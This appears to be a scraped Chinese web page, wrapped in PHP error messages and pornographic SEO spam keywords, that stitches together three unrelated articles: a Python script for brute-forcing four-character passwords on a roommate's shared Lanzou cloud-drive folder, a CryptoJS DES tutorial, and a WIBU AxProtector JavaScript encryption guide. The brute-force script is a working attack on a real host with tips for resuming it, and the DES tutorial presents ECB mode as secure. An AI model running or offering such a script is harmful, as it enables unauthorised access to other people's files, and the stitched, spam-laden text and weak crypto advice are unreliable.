Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 日韩美一区二区,亚洲第一视频网站,久久久国产99久久国产一

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          室友網盤收藏了挺多好東西,利用Python編寫窮舉法猜密碼

          開鏈接, F12,網絡,一頓headers,Python代碼如下:

          私信小編01即可獲取大量Python學習資源

          #lanzou 藍奏云盤密碼窮舉import requests
          import time #延遲一個時間段,避免被網頁拒絕
          import random #隨機數,制造隨機時間
          start=40000
          s=requests.session()
          wangzhi= "https://yxsp.lanzous.com/filemoreajax.php"
          zimu=[chr(i) for i in range(ord("a"), ord("z") + 1)]
          shuzi=[str(i) for i in range(0,10)]
          shuzi.extend(zimu) #將字母列表加到數字列表末尾
          mimabiao=shuzi
          print(mimabiao)
          mima=[]
          for yi in mimabiao:
              for er in mimabiao:
                  for san in mimabiao:
                      for si in mimabiao:
                          #time.sleep(random.random()*500) #每次隨機停頓一個時間
                          mima_temp=yi+er+san+si
                          mima.append(mima_temp)
          if(len(mima)==36*36*36*36):
              print("密碼字典生成正常,開始窮舉嘗試")
          else:
              print("密碼字典生成有誤,請仔細檢查。")
              print("正常大小應該是%d,現在大小是%d"%(36*36*36*36, len(mima)) )
          xiaoxitou={"Accept":"application/json, text/javascript, */*","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Connection":"keep-alive","Content-Length":"106","Content-Type":"application/x-www-form-urlencoded","Cookie":"codelen=1; pc_ad1=1","Host":"yxsp.lanzous.com","Origin":"https://yxsp.lanzous.com","Referer":"https://yxsp.lanzous.com/b01ztsove","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3202.9 Safari/537.36","X-Requested-With":"XMLHttpRequest"}
           
          for i in range(start,1679616+1):  #36x36x36x36=1679616。密碼是4位,每位是0-9和a-z
              shuju = "lx=2&fid=2836724&uid=1808316&pg=1&rep=0&t=1610610122&k=eb147f635d120d10b7a16d4ff58ac803&up=1&ls=1&pwd=" + mima[i]
              res = s.post(url=wangzhi, headers=xiaoxitou, data=shuju)
              jieguo = eval(res.text)
              tag = jieguo['zt']
              print(mima[i],jieguo['info'],',當前進度:',i,1679616,i/1679616*100,r"%")
              time.sleep(random.random())
              if tag==1:
                  print('正確密碼是:',mima[i])
                  break
           
          if(tag!=1):
              print('密碼未找到')


          python跑很長時候會莫名其妙報錯,終止程序。
          記下上次跑到最后一個的結果,改第5行的start值接著執行。
          我跑了前40000個,都不是。總密碼數量是1679616個,祝好運。

          現代的互聯網時代,數據安全性備受關注。為了保護敏感數據的機密性,對稱加密算法是一種常用的方法。在JavaScript中,DES(Data Encryption Standard)是一種常用的對稱加密算法。本篇博客將為您展示如何在JavaScript中使用DES算法進行加密和解密,并提供一個實際的例子。

          首先,我們需要使用CryptoJS庫來實現JavaScript中的DES加密算法。請確保您已經引入了CryptoJS庫。以下是一個使用DES算法對字符串進行加密和解密的實際示例:

          // 引入CryptoJS庫
          const CryptoJS = require("crypto-js");
          
          // 定義密鑰和待加密的字符串
          const key = CryptoJS.enc.Utf8.parse("mySecretKey"); // 密鑰需要進行字節數轉換
          const plaintext = "Hello, World!";
          
          // 使用DES算法進行加密
          const encrypted = CryptoJS.DES.encrypt(plaintext, key, {
            mode: CryptoJS.mode.ECB, // 使用ECB模式
            padding: CryptoJS.pad.Pkcs7, // 使用Pkcs7填充
          }).toString();
          
          console.log("加密后的密文:", encrypted);
          
          // 解密密文
          const decrypted = CryptoJS.DES.decrypt(encrypted, key, {
            mode: CryptoJS.mode.ECB,
            padding: CryptoJS.pad.Pkcs7,
          }).toString(CryptoJS.enc.Utf8);
          
          console.log("解密后的明文:", decrypted);

          在上述代碼中,我們首先引入了CryptoJS庫,并定義了密鑰和待加密的字符串。接下來,我們使用?CryptoJS.DES.encrypt??方法加密字符串,通過指定加密模式和填充方式,我們可以確保加密的安全性。最后,我們使用??CryptoJS.DES.decrypt??方法對密文進行解密,并將解密后的明文輸出。

          請注意,在實際應用中,您需要根據需求設置更強的密鑰,以增強加密的安全性。密鑰的選擇是保護您的數據安全的關鍵。

          總結: 在JavaScript中使用DES對稱加密算法可以有效地保護敏感數據的安全性。通過使用CryptoJS庫,您可以輕松地使用DES算法對字符串進行加密和解密。本文提供了一個實際的例子,演示了如何在JavaScript中使用DES算法對字符串進行加密和解密。您可以根據您的實際需求,靈活應用DES算法來保護您的數據安全。

          JavaScript 的腳本程序現已支持加密。

          關鍵詞:JavaScriptelectronNode.jsJS加密代碼保護

          準備工作

          1. 建議JavaScript的加密操作都在上Windows進行。

          2. 請先安裝CodeMeter SDK開發包(可通過光盤及下載鏈接安裝)。

          3. 插上加密鎖(測試鎖或正式母鎖)。

          4. 測試時,需要獲取以下加密js程序的測試授權(對應【公司碼: 產品碼 】):

          6000099: 1723】:AxProtector JavaScript (Trial)

          6000099: 1720】:AxProtector JavaScript - CodeMoving (Trial)

          如需購買正式授權,請訪問威步官網。

          5. 必要的JavaScript環境。

          如何加密JavaScript程序

          如果是首次進行JavaScript加密,需要進行如下操作

          以Win10為例,

          1. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行】:

          2. 執行命令:

          cd /d C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          3. 執行命令

          npm install

          執行成功后

          C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          目錄下會新增node_modules文件夾。

          說明:

          如果執行失敗,請確認是否是以管理員身份運行的命令行。

          如果此電腦上已經執行過上述操作,則可以進入以下步驟:

          1. 新建protect.yaml配置文件。

          首先創建空白的txt文件(文本文檔),將文件名改為protect.yaml(格式為yaml格式,不是txt格式),之后輸入以下內容:

          Options: {}
          Licenses:
          
          - Name: Default
          Type: CodeMeter
          #此處填入公司碼(示例公司碼為6000010)
          FirmCode: 6000010
          #此處填入產品碼(示例公司碼為13)
          ProductCode: 13
          
          FilesToEncrypt:
          #此處填入需要加密的js文件的名稱(示例為index.js)
          #若為electron框架,不可加密main.js
          Input: index.js
          #此處為保存加密后文件的文件夾名稱,無需更改
          OutputFolder: prot
          
          LicenseLists:
          - Id: 0
          Licenses:
          - Default

          需要將創建好的protect.yaml文件置于被加密文件的同級目錄中。

          2. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行

          3. 執行命令:

          cd /d D:\codeproject\js\nodejs-getting-started-master\nodejs-getting-started-master

          此處替換為需要加密的項目的路徑

          4. 執行命令:

          node “C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript\Axprotector.js” protect.yaml

          5. 將加密后的文件替換成原始文件:


          主站蜘蛛池模板: 中文字幕无码一区二区免费| 精品国产日韩一区三区| 3D动漫精品一区二区三区| 性盈盈影院免费视频观看在线一区| 亚洲大尺度无码无码专线一区| 岛国精品一区免费视频在线观看| 日本一道高清一区二区三区 | 日韩精品无码一区二区中文字幕 | 人妻精品无码一区二区三区| 亚洲午夜日韩高清一区| 欧美成人aaa片一区国产精品| 亚洲国产成人久久综合一区| 精品国产免费一区二区三区| 国模极品一区二区三区| 无码人妻AⅤ一区二区三区| 亚洲av乱码一区二区三区| 竹菊影视欧美日韩一区二区三区四区五区 | 亚洲av区一区二区三| 亚洲欧美一区二区三区日产| 精品久久一区二区三区| 激情内射亚州一区二区三区爱妻| 国产一区二区三区在线看片 | 精品无码一区在线观看| 高清国产AV一区二区三区| 在线观看国产一区| 国产一区二区高清在线播放| 一区二区视频在线免费观看| 国产精品一区二区久久乐下载| 亚洲AV日韩AV一区二区三曲| 国产免费一区二区三区| 精品国产一区二区三区香蕉| 无码日韩精品一区二区免费| 亚洲国产欧美日韩精品一区二区三区| 中文字幕一区二区三区在线观看| 日韩精品无码中文字幕一区二区| 人妻无码一区二区不卡无码av| 精品无码一区二区三区在线| 中文字幕无线码一区2020青青| 麻豆果冻传媒2021精品传媒一区下载 | 狠狠做深爱婷婷久久综合一区| 99偷拍视频精品一区二区|